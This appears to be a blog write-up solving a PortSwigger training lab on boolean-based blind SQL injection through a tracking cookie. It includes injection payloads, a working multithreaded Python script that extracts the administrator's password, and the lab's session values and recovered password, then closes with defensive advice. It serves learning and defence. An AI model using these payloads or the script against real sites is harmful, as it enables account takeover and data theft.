On this page
Pentesting
1 min read
#portswigger #sql-injection #blind-sqli #web-security

Blind SQL Injection with Conditional Responses

Vulnerability

Blind SQL injection is a class of SQL injection where the application does not return query results or error messages in the HTTP response. Instead, the attacker infers information by observing differences in application behavior — such as whether a particular message appears, or whether the response takes longer.

In this variant (boolean-based blind SQLi), the application returns different content depending on whether the injected condition evaluates to TRUE or FALSE. By crafting conditions like SUBSTRING(password, 1, 1) = 'a', an attacker can extract data one character at a time.

Lab

Name: Blind SQL injection with conditional responses
Difficulty: Practitioner
Goal: Exploit a blind SQL injection vulnerability in a tracking cookie to extract the administrator's password and log in.

Reconnaissance

The application stores a TrackingId cookie that is used in an SQL query. The query result is never displayed, but a "Welcome back!" message appears on the page when the query returns at least one row.

First, we confirm the injection point by appending a quote:

TrackingId=ncJfdwqSUQK7Gh4b'--

The "Welcome back!" message still appears — the comment -- neutralizes the rest of the original query, so the injection is active.

Next, we verify boolean behavior:

-- TRUE condition → "Welcome back!" appears
TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--

-- FALSE condition → "Welcome back!" disappears
TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--

We now have a reliable oracle: if the injected condition is true, the message appears; if false, it does not. This is enough to extract any data from the database bit by bit.

Exploitation

Step 1 — Determine password length

We use LENGTH() to find how many characters the administrator's password has:

TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--

"Welcome back!" appears at = 20 — the password is 20 characters long.

Step 2 — Extract characters

We use SUBSTRING(string, position, length) to test one character at a time:

-- Is the 1st character 'w'?
TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--

Doing this manually for 20 characters × 36 possible values (a–z + 0–9) would take hundreds of requests. We automate it with a Python script.

Step 3 — Automate with Python

The script uses ThreadPoolExecutor to run 10 requests in parallel, dramatically reducing extraction time:

import requests
import string
from concurrent.futures import ThreadPoolExecutor, as_completed

HOST = "0a7100260337b44880b2629c0027006c.web-security-academy.net"
BASE_URL = f"https://{HOST}/filter?category=Gifts"
TRACKING_ID = "ncJfdwqSUQK7Gh4b"
SESSION = "mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk"

CHARSET = string.ascii_lowercase + string.digits
MAX_LENGTH = 30
THREADS = 10


def check(sql_condition: str) -> bool:
    payload = f"{TRACKING_ID}'+AND+{sql_condition}--"
    cookies = {"TrackingId": payload, "session": SESSION}
    r = requests.get(BASE_URL, cookies=cookies, timeout=10)
    return "Welcome back" in r.text


def get_password_length(max_len: int = MAX_LENGTH) -> int:
    print("[*] Determining password length...")
    for n in range(1, max_len + 1):
        condition = f"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}"
        if check(condition):
            print(f"[+] Password length: {n}")
            return n
    raise ValueError(f"Password length not found within {max_len}")


def get_char_at(pos: int, length: int) -> tuple[int, str]:
    for c in CHARSET:
        condition = f"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'"
        if check(condition):
            return pos, c
    return pos, "?"


def get_password(length: int) -> str:
    print(f"[*] Brute-forcing {length} characters with {THREADS} threads...")
    password = ["?"] * length
    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}
        for future in as_completed(futures):
            pos, char = future.result()
            password[pos - 1] = char
            print(f"  [{pos}/{length}] '{char}' => {''.join(password)}")
    return "".join(password)


def main():
    length = get_password_length()
    password = get_password(length)
    print(f"\n[+] Password: {password}")


if __name__ == "__main__":
    main()

Result: wfa3n32o7a6mb4xon7d6

Log in to /my-account as administrator with this password — lab solved.

Conclusion

Blind SQL injection is more subtle than classic SQLi but equally dangerous. Even without any output, a single boolean signal (message present / absent) is enough to extract the entire database.

How to defend:

  • Use parameterized queries (prepared statements) — they eliminate injection entirely
  • Never concatenate user input directly into SQL strings
  • Apply least privilege to database accounts — the web app user should not have access to the users table